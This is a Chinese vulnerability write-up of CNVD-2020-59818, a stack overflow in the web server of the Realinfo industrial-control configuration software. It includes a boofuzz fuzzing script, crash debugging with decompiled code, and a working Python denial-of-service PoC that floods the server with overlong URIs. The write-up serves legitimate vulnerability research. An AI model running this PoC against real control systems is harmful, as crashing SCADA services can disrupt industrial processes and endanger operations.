CNVD-2020-59818

Catalpa 网络安全爱好者

紫金桥组态软件是某工控系统的上位机控制软件,官方网站:http://www.realinfo.com.cn/

此漏洞发布于 2020-12-03,CNVD 链接:https://www.cnvd.org.cn/flaw/show/CNVD-2020-59818

基本信息

漏洞评分:高

漏洞描述:紫金桥监控组态软件是一款专业的紫金桥监控组态软件,采用C/S体系结构,拥有数据库处理技术和图形系统。紫金桥监控组态软件存在远程栈溢出漏洞。攻击者可利用漏洞导致web服务崩溃。

漏洞分析

工控系统简介

工控设备和一些常见的 IoT 设备有很多相似的地方,工控系统通常分为上位机和下位机,下位机负责直接控制设备或者获取设备状况,一般是一些 PLC 或者单片机,它们的计算能力较弱,只负责数据的采集和简单控制。

上位机可以直接发出操控命令,充当控制者的角色,通常由 PC 构成。

我们分析的漏洞就出现在上位机控制软件中,紫金桥组态软件官网宣称其用户包括中国石油、中国石化、中船重工等。

由于上位机充当整个系统的控制管理角色,其地位是比较重要的,一旦恶意用户掌握了上位机的操控权限,即可对整个生产流程进行修改,这将对工业生产造成极大的威胁。

软件下载地址(紫金桥监控组态软件 V6.5):http://www.realinfo.com.cn/html/software/Realinfo/index.html

下载完成之后运行 Setup.cmd 安装。

漏洞描述中提到了触发漏洞将导致 web 服务崩溃,我们可以去官方帮助文档中查找关于 Web 服务的资料,在这里 搜索 Web,可以找到相关文章:http://www.realinfo.com.cn/html/technology/technical/342.html,根据其中的描述,软件的 Web 功能主要用于数据展示,可以实时查看所需的信息。

帮助文档中提到 Web 发布程序是根目录下的 WebSvr.exe,双击运行可以看到如下界面

Web 发布有两种方式,一是使用 IIS,二是用软件自带的 WEB 服务器,自带的 Web 服务默认运行在 80 端口,在浏览器中可以正常访问,默认的 Web 目录是程序安装路径下的 DemoApp\DemoFunction(1024_768)\,由于软件需要进行注册,暂时无法新建工程。正常使用过程中,Web 目录可以自行设置。

用浏览器访问的时候抓包,正常的访问请求如下

1
2
3
4
5
6
7
8
9
GET /StartLog.Txt HTTP/1.1
Host: 192.168.136.130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

服务器响应

1
2
3
4
5
6
7
8
HTTP/1.0 200 OK
Server: MS-MFC-WebSvr/1.0
Date: Fri, 04 Dec 2020 04:21:10 GMT
Content-type: text/plain
Content-length: 62
Last-Modified: Fri, 06 Apr 2007 00:09:06 GMT

04 06 08:09 RestartProc C:\Program Files\RealInfo\WebSvr.EXE

访问记录在服务端可以看到。

由于程序代码较多,并且是标准的 Web 服务,所以考虑先对其进行 fuzz,这里用到的工具是 boofuzz,关于 boofuzz 的使用方法网上可以找到很多教程,这里就不赘述了,编写 fuzz 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from boofuzz import *
import requests

def fuck():
session = Session(
sleep_time=0.2,
target=Target(
connection=TCPSocketConnection("192.168.136.130", 80)
))
s_initialize(name="Request")
with s_block("Request-Line"):
# LINE 1
s_static("POST", name="Method")
s_static(" ", name='space-1')
s_string('/aaaa', name='URI')
s_static(" ", name='space-2')
s_static('HTTP/1.1', name='HTTP-Version')
s_static("\r\n")

# LINE 2
s_static("Host", name="Host")
s_static(": ")
s_static("192.168.1.1", name="ip")
s_static("\r\n")

# LINE 3
# cookie pass

# LINE 4
s_static('Origin')
s_static(': ')
s_string('http://192.168.1.1', name='orogin')
s_static("\r\n")

# LINE 5
s_static('Content-Type')
s_static(': ')
s_string('application/x-www-form-urlencoded', name='content-type')
s_static("\r\n")

# LINE 6
s_static('User-Agent')
s_static(': ')
s_string('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36', name='user-agent')
s_static("\r\n")

# LINE 7
s_static('Accept')
s_static(': ')
s_string('text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', name='accept')
s_static("\r\n")

# LINE 8
s_static('Referer')
s_static(': ')
s_string('http://192.168.1.1/weblogin.htm', name='referer')
s_static("\r\n")

# LINE 9
s_static('Accept-Encoding')
s_static(': ')
s_string('gzip, deflate', name='accept-encoding')
s_static("\r\n")

# LINE 10
s_static('Accept-Language')
s_static(': ')
s_string('zh-CN,zh;q=0.9', name='accept-language')
s_static("\r\n")

# LINE 11
s_static('Connection')
s_static(': ')
s_string('close', name='connection')
s_static("\r\n")
s_static("\r\n")

with s_block('data'):
s_static('aa=')
s_string('aa', max_len=1024)
s_static('&ab=')
s_string('ab', max_len=1024)
s_static('&ac=')
s_string('ac', max_len=1024)

session.connect(s_get("Request"))
session.fuzz()

fuck()

boofuzz 允许设置监视器,可以在每次 fuzz 之后检查程序是否运行正常,由于目标程序比较简单,没有编写监视器,手动来检测也可以。

运行之后 Web 服务立刻就会崩溃,信息如下

错误代码 c0000409 属于内存访问错误,这里可以确定程序中确实存在一些内存越界问题。

经过测试发现能够稳定触发漏洞的 POC 如下

1
2
3
4
5
6
7
8
9
GET /<payload> HTTP/1.1
Host: 192.168.136.130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

在 payload 处插入超长的字符串可以导致程序崩溃。

接下来要判断崩溃的原因,经尝试 OD 不能正确的捕获到异常信息,需要使用 IDA 调试。

IDA 运行程序之后发送 payload,提示异常信息如下

程序访问了非法地址 0x00190000,中断位置:

edx 就是非法地址。由于中断位于 kernel32.dll 中,猜测是某个系统 API 函数,想要定位用户程序中哪里调用了此函数,可以进行栈回溯,首先找到 EBP 的值为 0018EDE0,查看返回地址 0018EDE4 内容为

1
0018EDE4  0040297E  sub_4028A0:loc_40297E

这样就找到了 Web 服务器中可能存在问题的代码段,在 IDA 中转到地址 0040297E,发现这里的代码没有被正常识别为函数,在地址 004028A0 按 P 键创建函数,F5 就可以看到反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void __stdcall vuln(int a1, _DWORD *a2)
{
int v2; // esi
int v3; // eax
LPCSTR *v4; // eax
LPCSTR *v5; // eax
int v6; // [esp+4h] [ebp-10h]
int v7; // [esp+10h] [ebp-4h]

v2 = a1;
v6 = 0;
if ( *(a1 + 12) & 1 )
{
v3 = *(a1 + 44);
switch ( *(a1 + 20) )
{
case 0:
case 5:
lstrcpyA(*(a1 + 32), *(v3 + 16));
break;
case 1:
if ( *(v3 + 32) > 0 )
{
v4 = CTime::Format(v3 + 20, &a1, 57347);
lstrcpyA(*(v2 + 32), *v4);
v7 = -1;
CString::~CString(&a1);
}
break;
case 2:
lstrcpyA(*(a1 + 32), *(v3 + 4));
break;
case 3:
if ( *(v3 + 32) > 0 )
{
v5 = CTime::Format(v3 + 20, &v6, 57347);
lstrcpyA(*(v2 + 32), *v5);
v7 = -1;
CString::~CString(&v6);
}
break;
case 4:
lstrcpyA(*(a1 + 32), *(v3 + 12));
break;
default:
break;
}
}
*a2 = 0;
}

显然其中引用了多次 lstrcpyA 函数进行字符串拷贝,在拷贝的时候不考虑源字符串长度,当传入超长的字符串之后将导致溢出。不过在静态分析下无法定位到谁使用了这个函数,所以可通过调试看看执行到这里时内存布局情况。

IDA 启动调试,在此函数下断点,当执行到崩溃位置时 lstrcpyA 函数参数如下

源字符串就是我们传入的 payload,目的内存位于栈中,地址是 0018F3C0,进入拷贝函数之后由于源字符串超长,缓冲区指针将不断递增,最终到达 0x00190000 的不可写内存,导致程序崩溃。

值得注意的是当提示程序停止工作的时候,错误模块是 comctl32.dll,它是应用程序共用 GUI 库,当发送一个访问请求之后,程序会在窗口中将访问的 URI 显示出来,在显示的过程中缺少对 URI 长度限制,可能导致在绘制 GUI 的时候发生错误。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time

ip = "192.168.136.130"

burp0_url = "http://" + ip + "/" + "a" * 0x1000
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

while True:
try:
requests.get(burp0_url, headers=burp0_headers, timeout=3)
time.sleep(1)
except:
print("[+] Success!")
exit(0)

-

这个漏洞比较简单,目前来看只能造成拒绝服务,暂时不清楚能否对控制系统产生影响,另外在主程序存在数据传输端口 1998,有可能也存在一些问题。

我们使用了简单的 fuzz 技巧来发现这个漏洞,fuzz 的核心就是定义数据格式适配目标程序,如果大家有更好的模糊测试思路欢迎来信讨论。

  • Title: CNVD-2020-59818
  • Author: Catalpa
  • Created at : 2020-12-04 00:00:00
  • Updated at : 2024-10-17 08:52:32
  • Link: https://wzt.ac.cn/2020/12/04/realinfo/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CNVD-2020-59818